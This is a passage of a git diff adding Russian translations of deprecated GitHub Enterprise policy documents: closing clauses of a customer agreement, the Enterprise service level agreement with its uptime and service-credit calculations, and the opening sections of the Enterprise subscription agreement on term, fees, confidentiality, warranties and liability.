Клиента в рекламных и маркетинговых материалах без разрешения Клиента. + +**18.7.**  *Передача прав и обязанностей*. Ни одна из Сторон не может переуступать или иным образом передавать настоящее Соглашение полностью или частично без предварительного письменного согласия другой Стороны, в таком согласии не может быть необоснованно отказано, и любая попытка сделать это будет недействительной, за исключением того, что GitHub может переуступить это Соглашение в полном объеме, после уведомления другой стороны, но без согласия другой стороны, в связи со слиянием, поглощением, корпоративной реорганизацией или продажей всего или практически всего бизнеса или активов передающей стороны. + +**18.8.**  *Уведомления*. Если иное не указано в этом документе, все уведомления, запросы, требования и другие информационные сообщения в рамках этого Соглашения должны быть оформлены в письменном виде (электронная почта является допустимым методом), должны ссылаться на это Соглашение, и будут считаться должным образом предоставленными в следующих случаях: (i) после получения, если оно доставлено лично; (ii) через один (1) рабочий день после подтверждения получения предполагаемым получателем, если отправлено по электронной почте; (iii) через пять (5) рабочих дней после его отправки посредством заказной почты с письменным подтверждением получения или по электронной почте; или (iv) через три (3) рабочих дня после передачи отправления международной курьерской службе или отправки по эл. почте, с письменным подтверждением получения. Уведомления можно отправлять на адреса, указанные в этом Соглашении, если только Сторона не уведомит другую Сторону об изменении этих адресов. + +**18.9.**  *Обстоятельства непреодолимой силы*. GitHub освобождается от ответственности в той мере, в какой он не может выполнить какое-либо обязательство по настоящему Соглашению из-за чрезвычайных обстоятельств, находящихся вне его разумного контроля, включая стихийные бедствия, природные катастрофы, забастовки, локауты, беспорядки, военные действия, эпидемии или сбои в электроснабжении, телекоммуникации или сети. + +**18.10.**  *Независимые подрядчики*. Каждая из Сторон является независимым подрядчиком в отношении предмета настоящего Соглашения. Ничто, содержащееся в настоящем Соглашении, не будет считаться или истолковываться каким-либо образом для создания юридического объединения, товарищества, совместного предприятия, занятости, агентства, фидуциарных или других подобных отношений между Сторонами, и ни одна из Сторон не может связывать другую договорными обязательствами. + +**18.11.**  *Отказ от обязательств*. Обязательства Стороны в соответствии с этим Соглашением могут быть отменены только в письменном виде. Документ об отказе должен быть подписан полномочным представителем другой Стороны. Такой отказ вступит в силу только в отношении конкретного описанного обязательства. Никакое неисполнение или задержка Стороной настоящего Соглашения в осуществлении какого-либо права по настоящему Соглашению не будет действовать как отказ от него, и никакое единичное или частичное его осуществление не будет препятствовать любому другому или дальнейшему его осуществлению или осуществлению любого права по настоящему Соглашению по закону или праву справедливости. + +**18.12.**  *Полное соглашение*. Настоящее Соглашение, включая все Формы заказа и ТЗ, образует полное соглашение между Сторонами в отношении предмета, отменяет и заменяет собой все предшествующие или существующие договоренности и соглашения в устной или письменной форме между Сторонами в отношении такого предмета. Условия заказа на покупку, письменные условия и положения и иные документы, отправленные Клиентом в GitHub, которые содержат условия, отличные от условий, установленных в настоящем Соглашении, ТЗ или Форме заказа, противоречащие им или дополняющие их, считаются недействительными и не имеющими юридической силы. + +**18.13.**  *Поправки и изменения; приоритетность*. GitHub оставляет за собой право вносить поправки в настоящее Соглашение в любое время и будет обновлять условия настоящего Соглашения в случае внесения любых таких поправок. Изменения в настоящем Соглашении вступят в силу после годовщины действительного на тот момент Срока действия подписки Клиента. В случае противоречий между настоящим Соглашением и Формой заказа Форма заказа будет применяться только в отношении этого заказа. Управление должно осуществляться в соответствии с настоящим соглашением, и любыми дополнениями, включая Форму заказа, и никакие модификации, изменения или поправки, внесенные в настоящее Соглашение, не будут являться обязательными к исполнению Сторонами или иметь преимущественную силу над условиями настоящего Соглашения, если они не внесены в письменной форме и должным образом не подписаны полномочным представителем каждой Стороны. + +**18.14.**  *Независимость положений Соглашения*. Если какое-либо положение настоящего Соглашения будет признано судом компетентной юрисдикции незаконным, недействительным или не имеющим исковой силы, суд изменит или реформирует настоящее Соглашение, чтобы придать этому положению максимальную силу. Любое положение, которое не может быть изменено или исправлена таким образом, будет считаться удаленным, а остальные положения настоящего Соглашения останутся в полной силе и действии. diff --git a/translations/ru-RU/content/site-policy/site-policy-deprecated/github-enterprise-service-level-agreement.md b/translations/ru-RU/content/site-policy/site-policy-deprecated/github-enterprise-service-level-agreement.md new file mode 100644 index 000000000000..d548123c7886 --- /dev/null +++ b/translations/ru-RU/content/site-policy/site-policy-deprecated/github-enterprise-service-level-agreement.md @@ -0,0 +1,41 @@ +--- +title: "Соглашение об уровне обслуживания GitHub\_Enterprise" +hidden: true +redirect_from: + - /github-enterprise-cloud-addendum + - /github-business-cloud-addendum + - /articles/github-enterprise-cloud-addendum + - /github/site-policy/github-enterprise-service-level-agreement + - /github/site-policy-deprecated/github-enterprise-cloud-addendum +versions: + fpt: '*' +ms.openlocfilehash: e21816ada1c6b6d3062cecb5d4f0144702ea0f8e +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '147099280' +--- +_Эти условия действуют для клиентов, которые лицензировали продукты до 4 января 2021 г. Для клиентов, приобретающих продукты GitHub после этой даты, действуют текущие условия https://www.github.com/enterprise-legal._ + +**Сокращенная версия:** GitHub гарантирует 99,9 % времени доступности в месяц для соответствующей службы GitHub (**Уровень обслуживания**, или **SLA**). Если GitHub не соответствует условиям SLA, Клиент вправе получить компенсацию за обслуживание на свой счет (**Компенсация за обслуживание**). + +Просмотреть определения каждой из Функций службы (**Функция службы**) и проверить предыдущие и текущие сведения о Времени доступности можно на [странице статуса GitHub](https://www.githubstatus.com/). Термины с заглавной буквы, которые используются, но не определены в настоящем Соглашении об уровне обслуживания, имеют значение, присвоенное им в действующем Соглашении с Клиентом. + +## Гарантия времени доступности + +**Время доступности** — возможное время в минутах (в процентах), в течение которого была доступна соответствующая служба GitHub в данном календарном квартале. GitHub выполняет фиксацию для обеспечения не менее 99,9 % времени доступности соответствующей службы GitHub. Процедура расчета Времени доступности для каждой Функции службы, который может быть включен в соответствующую службу GitHub, описана ниже (**Расчет времени доступности**). Если GitHub не соответствует условиям SLA, Клиент вправе получить Компенсацию за обслуживание с учетом приведенных ниже расчетов (**Расчет компенсации за обслуживание**). Обратите внимание, что Время простоя не влияет на всех клиентов одновременно или одинаково. + +| **Функция службы** | **Расчет времени доступности** | **Определения** | **Расчет компенсации за обслуживание** | +|---|---|---|---| +| **Проблемы**
**Запросы  на вытягивание**
**Операции  Git**,
**Запросы  API (только для функций службы)**
**Веб-перехватчики**
**Страницы** | (общее количество минут за календарный квартал – Время простоя) / общее время (в минутах) за календарный квартал | **Время простоя** — это период, в течение которого (а) частота ошибок превышает 5 % (пять процентов) в каждую конкретную минуту для любой Функции службы или (b) Служба была недоступна, как это определено комбинацией внутренних и внешних систем мониторинга GitHub. | Востребование Компенсации за обслуживание может основываться на любом (но не на обоих) из следующих расчетов.
  • 10 % от суммы, которую Клиент заплатил за Функцию службы в календарном квартале, в котором Время доступности этой Функции службы было меньше или равно 99,9 %, но превышало 99,0 %.

    ИЛИ

  • 25 % от суммы, которую Клиент заплатил за Функцию службы в календарном квартале, в котором Время доступности этой Функции службы было меньше 99,0 %.
| | +| **Действия** | (Общее количество выполнений – Недоступные выполнения) / (Общее количество выполнений) x 100 | **Общее количество выполнений** — это общее количество всех операций выполнения Действий, запущенных Клиентом в календарном квартале.

**Недоступные выполнения** — это общее количество выполнений из Общего количества выполнений, которые не были произведены за календарный квартал. Под выполнением, которое не удалось осуществить, понимается ситуация, когда журнал регистрации действий не зафиксировал никаких выходных данных в течение 5 (пяти) минут после успешного запуска триггера. | То же, что и выше | +| **Пакеты** | Время доступности передач = то же, что и Действия.

Время доступности за месяц = 100 % – Средняя частота ошибок *

* Расчет Времени доступности исключает общедоступные транзакции использования и хранилища, которые не учитываются в Общем количестве транзакций хранения или Неудачных транзакциях хранения (включая сбои предварительной проверки подлинности; сбои проверки подлинности; попытки транзакций для учетных записей хранения свыше заданных для них квот). | **Частота ошибок** — общее число Невыполненных транзакций с хранилищем, разделенное на Общее число транзакций с хранилищем в установленный отрезок времени (в настоящее время — один час). Если Общее число транзакций с хранилищем в конкретный отрезок времени продолжительностью в один час равняется нулю, то частота ошибок для этого отрезка времени составляет 0 %.

**Средняя частота ошибок** — это сумма значений Частоты ошибок для каждого часа в календарном квартале, разделенная на общее количество часов в календарном квартале. | То же, что и выше | + +## Исключения +Из Расчета времени доступности исключаются сбои Функции службы, которые происходят из-за (i) действия и бездействия Клиента либо неправильного использования соответствующей службы GitHub, в том числе нарушения условий Соглашения, (ii) сбоя подключения Клиента к Интернету, (iii) факторов, находящихся вне разумного контроля GitHub, включая события форс-мажора; или (iv) оборудования, служб и иных технологий Клиента. + +## Востребование компенсации за обслуживание +Если GitHub не соответствует условиям этого SLA, Клиент вправе востребовать Компенсацию за обслуживание только после отправки запроса в GitHub в течение тридцати (30) дней после окончания календарного квартала. Письменные запросы на востребование Компенсации за обслуживание и ежемесячные и ежеквартальные отчеты для Облака предприятия GitHub должны направляться в [службу поддержки GitHub](https://support.github.com/contact?tags=docs-policy). + +Компенсация за обслуживание может быть выражена в форме возмещения или зачисления кредита на счет Клиента; ее нельзя обменять на денежные средства, срок ее действия ограничен девяноста днями платного обслуживания за календарный квартал и истекает после прекращения действия соглашения с Клиентом; при этом требуется, чтобы Клиент оплатил все неоплаченные счета. Компенсации за обслуживание являются единственным и эксклюзивным средством правовой защиты в случае, если GitHub не исполнит свои обязательства, предусмотренные в рамках этого SLA. diff --git a/translations/ru-RU/content/site-policy/site-policy-deprecated/github-enterprise-subscription-agreement.md b/translations/ru-RU/content/site-policy/site-policy-deprecated/github-enterprise-subscription-agreement.md new file mode 100644 index 000000000000..a484fa43ffca --- /dev/null +++ b/translations/ru-RU/content/site-policy/site-policy-deprecated/github-enterprise-subscription-agreement.md @@ -0,0 +1,457 @@ +--- +title: "Соглашение о подписке GitHub\_Enterprise" +hidden: true +redirect_from: + - /articles/github-enterprise-agreement + - /articles/github-enterprise-subscription-agreement + - /github/site-policy/github-enterprise-subscription-agreement + - /github/site-policy-deprecated/github-enterprise-subscription-agreement +versions: + fpt: '*' +ms.openlocfilehash: 87d268550d2cb7312a40f845e5dcf0a2b402a61c +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '147099279' +--- +_Эти условия действуют для клиентов, которые выполнили действующие соглашения, содержащие такие условия путем отсылки. Для всех остальных корпоративных клиентов будут действовать текущие условия https://www.github.com/customer-terms._ + +Настоящее Соглашение применяется к следующим предложениям GitHub, как определено ниже (в совокупности **"Продукты"** ). + +- GitHub Enterprise (состоит из GitHub Enterprise Server, который может включать программное обеспечение надстройки, и Облака предприятия GitHub); + +- Любые предварительные бета-версии; + +- Любая соответствующая Поддержка; и + +- Любые сопутствующие Профессиональные услуги. + +Настоящее Соглашение включает следующие разделы и приложения, каждое из которых включено в настоящий документ путем отсылки. + +* РАЗДЕЛ 1. Общие условия и положения + +* РАЗДЕЛ 2. Условия лицензирования GitHub Enterprise Server + +* РАЗДЕЛ 3. Условия предоставления услуг для Облака предприятия GitHub + +* ПРИЛОЖЕНИЕ А. Определения + +Если Клиент приобрел Продукты у авторизованного продавца GitHub, условия, которые Клиент согласовал с продавцом GitHub, будут иметь преимущественную силу по сравнению со следующими разделами настоящего Соглашения: раздел 1.1 (Срок действия и прекращение действия); 1.2 (Оплата); раздел 2.3 (Доставка) и раздел 2.4 (Верификация). + +## РАЗДЕЛ 1. ОБЩИЕ УСЛОВИЯ И ПОЛОЖЕНИЯ + +В разделе 1 определены условия и положения, применимые к приобретению и использованию продуктов Клиентом. Термины, которые пишутся с заглавной буквы, но не определены в тексте настоящего Соглашения, определяются в приложении А. + +### 1.1. Срок действия и прекращение действия + +#### 1.1.1. Срок действия + +Настоящее Соглашение вступает в силу с Даты вступления в силу и будет действовать до тех пор, пока не будет расторгнуто Стороной в соответствии с настоящим разделом 1.1. + +#### 1.1.2. Прекращение действия по уважительной причине Аннулирование учетной записи + +Любая из Сторон может расторгнуть Форму заказа или настоящее Соглашение без указания причины, направив предварительное письменное уведомление не менее чем за тридцать (30) дней до истечения действующего на тот момент Срока действия подписки. Если Клиент решит расторгнуть Форму заказа или Соглашение, он обязан надлежащим образом аннулировать свою учетную запись в GitHub, перейдя в «Настройки» на глобальной панели навигации в верхней части экрана. GitHub не может аннулировать учетные записи в ответ на запрос по электронной почте или телефону. + +#### 1.1.3. Прекращение в связи с существенным нарушением + +Любая из Сторон может расторгнуть настоящее Соглашение немедленно после получения уведомления, если другая Сторона нарушит существенное обязательство по настоящему Соглашению и не устранит нарушение в течение тридцати (30) дней с даты получения уведомления. Каждая из Сторон также оставляет за собой право прекратить действие данного Соглашения незамедлительно после направления письменного уведомления, не предоставляя другой Стороне времени на устранение нарушения: GitHub вправе расторгнуть Соглашение, если Клиент нарушит какие-либо условия настоящего Соглашения, относящиеся к интеллектуальной собственности GitHub (в том числе несоблюдение Клиентом условий или ограничений лицензии), или если действие учетной записи Клиента приостановлено на срок более 90 (девяноста) дней; либо Соглашение может быть расторгнуто любой из Сторон, если вторая Сторона нарушит свои обязательства в плане конфиденциальности, изложенные в разделе 1.4. + +#### 1.1.4. Последствия прекращения; сохранение юридической силы + +После прекращения действия настоящего Соглашения Клиент не может оформлять новые Формы заказа; однако настоящее Соглашение остается в силе до конца исполнения любых активных Форм заказа. Когда Форма заказа прекращает свое действие или срок действия заказа истекает, в отношении этой Формы заказа: (i) Срок действия подписи на Программное обеспечение и/или Сервис немедленно заканчивается; (ii) любые Лицензии на подписку в Форме заказа будут автоматически прекращены и Клиент больше не будет иметь права использовать Продукты; (iii) если какие-либо Сборы подлежали оплате до расторжения, Клиент должен немедленно оплатить эти Сборы; (iv) Клиент обязуется уничтожить все копии Программного обеспечения, находящегося во владении или управлении Клиента, и предоставить GitHub письменное подтверждение выполнения таких требований и (v) каждая Сторона незамедлительно вернет (или, по запросу другой стороны, уничтожит) всю Конфиденциальную информацию, принадлежащую другой стороне, в пределах, разрешенных Сервисом. Невзирая на вышеизложенные положения, Клиент вправе продолжить использование Программного обеспечения для переноса своих данных, а также вправе запросить перенос данных в свои репозитории в течение 90 (девяноста) дней после прекращения или истечения срока действия настоящего Соглашения или Формы заказа; однако в этот период Клиент не вправе использовать Программное обеспечение или Сервис в рабочей среде. Все положения, которые по своему характеру должны сохранять свою юридическую силу, сохраняют ее после прекращения или истечения срока действия настоящего Соглашения или Формы заказа. + +### 1.2. Оплата + +#### 1.2.1. Комиссии + +Клиент соглашается оплатить Сборы полностью, заранее, без вычетов или взаимозачетов любого рода в долларах США. Клиент должен оплатить Сборы в течение тридцати (30) дней с даты выставления счета GitHub. Суммы, подлежащие уплате по настоящему Соглашению, не подлежат возврату, если иное не предусмотрено разделами 1.5.1 и 1.6.2. Если Клиент не уплачивает какие-либо Сборы вовремя, GitHub оставляет за собой право, в дополнение к любым другим действиям по закону или праву справедливости, (i) взимать проценты с сумм просроченных платежей в размере 1,0 % в месяц или по самой высокой процентной ставке, разрешенной законом, в зависимости от того, что меньше, и взимать все расходы по возмещению, и (ii) прекратить действие соответствующей Формы заказа или ТЗ. Клиент несет единоличную ответственность за все налоги, сборы, пошлины и государственные сборы (за исключением налогов, основанных на чистой прибыли GitHub), которые взимаются или подлежат уплате в связи с настоящим Соглашением. + +#### 1.2.2. Приобретение дополнительных Лицензий на подписку + +Клиент может получить дополнительные Лицензии на подписку в соответствии с настоящим Соглашением, отправив запрос через веб-сайт GitHub или через отдел продаж. Если Клиент приобретает дополнительные Лицензии на подписку, Клиент должен уплатить за них действующие на тот момент Сборы, пропорциональные остатку применимого Срока подписки. При продлении Лицензий на подписку Клиента на другой Срок подписки GitHub будет ежегодно выставлять счета сразу за все Лицензии на подписку, если иное не указано в Форме заказа. + +#### 1.2.3. Программное обеспечение надстройки + +Для Программного обеспечения надстройки предоставляется лицензия по числу пользователей. Если иное не указано в Форме заказа, количество Лицензий на подписку на программное обеспечение надстройки, которыми владеет Клиент в любой момент времени, должно совпадать с количеством Лицензий на подписку на Продукты в рамках этого Соглашения, которыми владеет Клиент. Например, если Клиент хочет приобрести подписку на Расширенные функции безопасности и уже имеет Лицензии на подписку на Продукты для 100 пользователей, он должен приобрести Лицензии на подписку на расширенные функции безопасности для 100 пользователей. + +### 1.3. Профессиональные услуги + +По запросу Клиента о Профессиональных услугах GitHub предоставит ТЗ с подробным описанием таких Профессиональных услуг. GitHub будет предоставлять Профессиональные услуги, описанные в каждом ТЗ. GitHub будет контролировать порядок и средства предоставления Профессиональных услуг и оставляет за собой право определять назначенный персонал. GitHub может использовать третьих лиц для оказания Профессиональных услуг при условии, что GitHub по-прежнему несет ответственность за их действия и бездействие. Клиент признает и соглашается с тем, что GitHub сохраняет за собой все права, права собственности и интересы в отношении всего, что используется или разрабатывается в связи с оказанием Профессиональных услуг, включая программное обеспечение, инструменты, спецификации, идеи, концепции, изобретения, процессы, методы и ноу-хау. В той мере, в какой GitHub предоставляет что-либо Клиенту при оказании Профессиональных услуг, GitHub предоставляет Клиенту неисключительную, не подлежащую передаче, всемирную, безвозмездную, ограниченную лицензию на использование этих результатов в течение срока действия настоящего Соглашения, исключительно в связи с использованием Клиентом Программного обеспечения или Сервиса. + +### 1.4. Конфиденциальность + +Ни одна из Сторон не будет использовать Конфиденциальную информацию другой Стороны, за исключением случаев, разрешенных настоящим Соглашением. Каждая Сторона соглашается сохранять конфиденциальность и защищать Конфиденциальную информацию другой Стороны, используя по крайней мере ту же степень осторожности, что и для своей собственной информации аналогичного характера, но в любом случае, по крайней мере, с разумной степенью осторожности. Каждая Сторона соглашается принимать все разумные меры предосторожности для предотвращения любого несанкционированного раскрытия Конфиденциальной информации другой Стороны, включая, помимо прочего, раскрытие такой Конфиденциальной информации только ее Представителям, которые (i) нуждаются в знании такой информации, (ii) являются сторонами в соответствующих соглашениях, значимых для соблюдения настоящего раздела 1.4, и (iii) проинформированы об ограничениях на использование и раскрытие информации, изложенных в этом разделе 1.4. Каждая Сторона несет ответственность за все действия и бездействие своих Представителей. Вышеизложенные обязательства не ограничивают раскрытие Конфиденциальной информации другой Стороны ни одной из Сторон по распоряжению или требованию суда, административного органа или другого государственного органа при условии, что Сторона, обязанная сделать такое раскрытие, уведомляет другую Сторону заблаговременно, чтобы такая Сторона могла оспорить такой приказ или требование, если только такое уведомление не запрещено законом. Ограничения, изложенные в этом разделе 1.4, остаются в силе после расторжения или истечения срока действия настоящего Соглашения. + +### 1.5. Организация защиты в связи с исками о нарушении прав + +Стороны обязуются защищать и ограждать от ответственности друг друга в связи с требованиями третьих лиц, описанными в настоящем разделе 1.5, и выплатят сумму, присужденную любым неблагоприятным судебным решением (или сумму, предусмотренную согласованным мировым соглашением), но исключительно в случаях, если защищающая сторона немедленно уведомляется в письменной форме о таком требовании и имеет право контролировать действия по защите и достижению какого-либо мирового соглашения в связи с ним. Защищаемая Сторона должна предоставить защищающей Стороне всю запрошенную помощь, информацию и полномочия. Защищающая Сторона возместит другой Стороне разумные наличные расходы, которые она понесет при оказании помощи, и не будет урегулировать или делать какие-либо допущения в отношении претензии третьей стороны без предварительного письменного согласия другой Стороны, чтобы не получить необоснованный отказ или чтобы не произошла необоснованная задержка. В разделе 1.5 описываются исключительные средства защиты прав Сторон и полный объем ответственности в связи с такими требованиями. + +#### 1.5.1. GitHub + +GitHub будет защищать Клиента от любых претензий, предъявленных неаффилированным третьим лицом, в той мере, в какой оно утверждает, что авторизованное использование Клиентом Программного обеспечения или Сервиса нарушает авторские права, патент или товарный знак или незаконно присваивает коммерческую тайну неаффилированного третьего лица. Если GitHub не может разрешить такое требование на коммерчески разумных условиях, он может по своему выбору: (i) изменять, ремонтировать или заменять Программное обеспечение или Сервис (если применимо) или (ii) прекратить подписку Клиента и возместить любые предоплаченные неиспользованные платежи за подписку. GitHub не будет нести никаких обязательств в соответствии с настоящим разделом 1.5.1 по любым таким претензиям, возникающим в связи со следующим: (a) модификацией Программного обеспечения или Сервиса или комбинацией, работой или использованием Программного обеспечения или Сервиса с оборудованием, устройствами, программным обеспечением, системами или данными, кроме случаев, прямо разрешенных настоящим Соглашением (включая Документацию); (b) неспособностью Клиента прекратить использование Программного обеспечения или Сервиса после получения уведомления об этом; (c) обязательствами Заказчика в соответствии с разделом 1.5.2; (d) продуктами или услугами (включая использование Программного обеспечения или Сервиса), предоставляемыми GitHub бесплатно, или (e) доступом или использованием предварительных бета-версий. В целях выполнения обязательства GitHub в соответствии с настоящим разделом 1.5.1 Программное обеспечение и Сервис содержат компоненты с открытым исходным кодом, включенные в него GitHub. + +#### 1.5.2. Со стороны Клиента + +Клиент обязуется защищать GitHub от любых претензий, предъявленных неаффилированным третьим лицом в связи со следующим: (i) Контентом клиента, который Клиент загружает в Программное обеспечение или Сервис; (ii) нарушением Клиентом настоящего Соглашения, включая нарушение Клиентом конфиденциальности или нарушение условий допустимого использования GitHub; (iii) Модификацией Клиентом Программного обеспечения или (iv) любым оборудованием, устройствами, программным обеспечением, системами или данными сторонних производителей, которые Клиент объединяет, эксплуатирует или использует вместе с Программным обеспечением или Сервисом. + +### 1.6. Заверения и гарантии; заявление об отказе от ответственности; ограничение ответственности + +#### 1.6.1. Общая гарантия + +Каждая Сторона заявляет и гарантирует другой стороне, что она имеет юридическое право и полномочия для заключения настоящего Соглашения, и что настоящее Соглашение и каждая Форма заказа и ТЗ заключаются сотрудником или агентом такой Стороны со всеми необходимыми полномочиями для связывания такой Стороны условиями настоящего Соглашения. + +#### 1.6.2. Ограниченная гарантия + +**(i) Программное обеспечение.** GitHub гарантирует, что (1) неизмененное Программное обеспечение на момент его предоставления Клиенту для загрузки не содержит и не передает вредоносное ПО, вирусы или вирусы типа "червь" (т. е. компьютерный код или иные технологии, разработанные специально для нарушения работы, отключения или повреждения программного обеспечения, оборудования, компьютерной системы или сети Клиента) и (2) в течение 90 (девяноста) дней с момента его предоставления для исходной загрузки неизмененное Программное обеспечение будет в целом соответствовать сопутствующей Документации. GitHub не гарантирует бесперебойную работу Программного обеспечения и отсутствие ошибок в процессе его использования Клиентом. Гарантии, приведенные в разделе 1.6.2(i), неприменимы в случае, если Клиент изменяет Программное обеспечение или использует его способом, который не разрешен положениями раздела 2 и Документации. Единственным обязательством GitHub и единственным средством правовой защиты Клиента в случае нарушения условий данной гарантии будет следующее (за счет GitHub и по выбору GitHub): (а) восстановление Программного обеспечения; (b) замена Программного обеспечения или (c) прекращение действия настоящего Соглашения в отношении дефектного Программного обеспечения и возмещение неиспользованных предварительно оплаченных Комиссий в связи с дефектным Программным обеспечением в течение действующего на тот момент Срока действия подписки. + +**(ii) Профессиональные услуги.** GitHub гарантирует Клиенту, что любые Профессиональные услуги, предоставляемые в соответствии с настоящим Соглашением, будут выполняться профессионально и качественно персоналом с соответствующей квалификацией. Единственным обязательством GitHub и единственным средством правовой защиты Клиента в случае нарушения данной гарантии будет (по выбору и за счет GitHub) одно из следующих действий: (1) незамедлительно повторно оказать любые Профессиональные услуги, которые не соответствуют настоящей гарантии, или (2) расторгнуть ТЗ, если нарушение не может быть устранено, и возместить неиспользованные предоплаченные Сборы. + +#### 1.6.3. Заявление об отказе + +**(i) Общие положения.** За исключением случаев, когда иное явным образом предусматривается настоящим Соглашением, GitHub не предоставляет никаких иных гарантий и заверений и тем самым отказывается от иных гарантий, явных, подразумеваемых и законодательно предусмотренных, в том числе гарантий коммерческой пригодности, пригодности для конкретной цели, ненарушения прав третьих лиц или иных гарантий и условий, вытекающих из обычной практики ведения деловых операций или торговых обычаев. Никакие уведомления или информация в устной или письменной форме, предоставленные компанией GitHub или иным способом, не влекут возникновения каких-либо гарантий или условий, не предусмотренных явным образом положениями настоящего Соглашения. + +**(ii) Служба.** GitHub предоставляет Сервис **«КАК ЕСТЬ»** и **«ПО НАЛИЧИЮ»** без каких-либо гарантий. Не ограничиваясь этим, GitHub прямо отказывается от всех гарантий, явных, подразумеваемых или установленных законом, в отношении Сервиса, включая, помимо прочего, любые гарантии товарного состояния, пригодности для определенной цели, права собственности, безопасности, точности и ненарушения прав. GitHub не гарантирует, что Сервис будет соответствовать требованиям Заказчика; что Сервис будет бесперебойным, своевременным, безопасным и безошибочным; что информация, предоставляемая через Сервис, является точной, надежной или правильной; что любые дефекты или ошибки будут исправлены; что Сервис будет доступен в любое конкретное время или в любом месте; или что Сервис не содержит вирусов или других вредоносных компонентов. GitHub не несет ответственности за любой риск убытков в результате загрузки и/или использования Клиентом файлов, информации, Контента или других материалов, полученных с помощью Сервиса. + +**(iii) Все предварительные бета-версии.** Клиент может использовать предварительные бета-версии по своему усмотрению. Предварительные бета-версии могут не поддерживаться и могут быть изменены в любое время без предварительного уведомления. Предварительные бета-версии могут быть не такими надежными или доступными, как Сервис. Предварительные бета-версии не подлежат тем же мерам безопасности и аудиту, которым подлежала и подлежит Служба. GitHub не несет никакой ответственности в связи с предварительными бета-версиями. **Клиент использует предварительные бета-версии на свой страх и риск.** + +#### 1.6.4. Ограничения ответственности + +**(i) Опосредованные убытки. В максимальной степени, разрешенной применимым правом, ни одна из сторон ни при каких обстоятельствах не будет нести ответственность перед другой стороной или любым третьим лицом за любые опосредованные, специальные, случайные, штрафные или косвенные убытки (включая упущенную выгоду, доход или данные) или за стоимость приобретения продуктов-заменителей, вытекающих из настоящего Соглашения или в связи с ним, независимо от того, вызвана ли такая ответственность какой-либо претензией, основанной на договоре, гарантии, гражданском правонарушении (включая небрежность), строгой ответственности или иным образом, и независимо от того, была ли сторона уведомлена о возможности таких убытков.** + +**(ii) Ограничение общей ответственности. В максимальной степени, разрешенной применимым правом, ни при каких обстоятельствах общая совокупная ответственность любой из сторон по настоящему Соглашению по всем основаниям для исков и всем теориям ответственности не будет превышать Сборы, фактически уплаченные Клиентом GitHub в течение 12 месяцев, предшествующих иску, повлекшему за собой такую ответственность. Для продуктов и услуг (включая использование Продуктов), которые предоставляются бесплатно, ответственность GitHub ограничивается прямыми убытками в размере до 5000,00 долл. США. Для предварительных бета-версий ответственность GitHub ограничивается прямыми убытками в размере до 500,00 долл. США.** + +**(iii) Исключения. Исключения и ограничения, изложенные в этом разделе 1.6.4, не будут применяться к ответственности, возникающей из-за (1) нарушения Стороной своих обязательств по конфиденциальности в разделе 1.4 (за исключением всей ответственности, связанной с Контентом (за исключением Контента GitHub), которая остается предметом ограничений и исключений, указанных выше); (2) оборонительных обязательств Стороны в разделе 1.5; или (3) несоблюдения Клиентом условий и ограничений, предусмотренных лицензией, которые изложены в разделах 2.1 и 2.2.** + +### 1.7. Лицензии на подписку + +Лицензии на подписку предоставляются для каждого Пользователя, несколько Пользователей не могут использовать одну и ту же Лицензию на подписку. Клиент может передать Лицензию на подписку новому Пользователю только по истечении девяноста (90) дней с момента последней передачи той же Лицензии на подписку, за исключением случаев, когда передача связана с (i) необратимым отказом или потерей оборудования, (ii) увольнением Пользователя или прекращением действия договора или (iii) временным перераспределением Лицензий на подписку для компенсации отсутствия Пользователя. Когда Клиент передает Лицензию на подписку от одного Пользователя другому, Клиент должен заблокировать доступ прежнего Пользователя к Лицензии на подписку и Организациям клиента. + +### 1.8. Аффилированные лица + +Аффилированные лица Клиента имеют право использовать Программное обеспечение и Сервис в соответствии с настоящим Соглашением при условии, что Клиент несет полную ответственность за свой доступ к Программному обеспечению и Сервису и их использование. + +### 1.9. Поддержка + +GitHub обязуется предоставить следующую Поддержку Программного обеспечения и Сервиса. + +#### 1.9.1. Стандартная поддержка + +GitHub будет предоставлять стандартную техническую Поддержку для Программного обеспечения и Сервиса без дополнительной оплаты двадцать четыре (24) часа в сутки, пять (5) дней в неделю, кроме выходных и государственных праздников США. Стандартная Поддержка предлагается только посредством отправки обращений по Интернет через службу поддержки GitHub, а запросы на Поддержку должны быть инициированы пользователем, с которым может взаимодействовать команда поддержки GitHub. + +#### 1.9.2. Расширенная поддержка + +GitHub вправе предоставлять расширенные предложения поддержки для Программного обеспечения и Сервиса (включая предложения уровня "Премиум", "Премиум плюс" и "Прямая техническая поддержка") в соответствии с [условиями поддержки](/enterprise/admin/enterprise-support/about-github-premium-support-for-github-enterprise), а также (на уровне Поддержки), с разделами "Комиссии" и "Срок действия подписки", приведенными в Форме заказа или ТЗ. + +#### 1.9.3. Оговорки + +GitHub обязуется принять разумные меры по исправлению всех существенных воспроизводимых ошибок в Программном обеспечении, о которых Клиент уведомит GitHub. Однако GitHub не несет ответственности за предоставление поддержки, если (i) кто-то (кроме GitHub) изменил Программное обеспечение; (ii) Клиент изменил операционную систему или среду и такие изменения негативно повлияли на работу Программного обеспечения или его производительность; (iii) Клиент использует Программное обеспечение способом, не предусмотренным положениями этого Соглашения или Документацией, или (iv) Клиент использовал Программное обеспечение небрежно или неправильно. + +### 1.10. Права на интеллектуальную собственность + +В отношениях между Сторонами GitHub владеет всеми правами, титулами и интересами, включая все права на интеллектуальную собственность, в отношении Продуктов. GitHub оставляет за собой все права на Продукты, которые не предоставлены Клиенту явным образом по настоящему Соглашению. GitHub вправе использовать, модифицировать и встраивать Обратную связь, комментарии и предложения по своим Продуктам, которые Клиент может предоставлять или публиковать на форумах. При этом GitHub не принимает на себя никаких обязательств перед Клиентом в этой связи. + +### 1.11. Обратная связь + +Клиент может предоставлять GitHub Обратную связь в отношении Продуктов. Обратная связь носит добровольный характер и не является Конфиденциальной информацией клиента, даже если она обозначена как таковая. GitHub может в полной мере применять и использовать такую обратную связь с целью (i) улучшения работы, функциональности и использования существующих и будущих предложений продуктов GitHub и коммерциализации таких предложений; и (ii) публикации сводных статистических данных о качестве Продуктов при условии, что никакие данные в любой такой публикации не будут использоваться для конкретной идентификации Клиента, его сотрудников или проприетарного программного кода Клиента. + +### 1.12. Соблюдение законодательства + +Клиент обязуется в процессе использования Продуктов соблюдать все действующие законы и нормативные требования, в том числе законы о защите 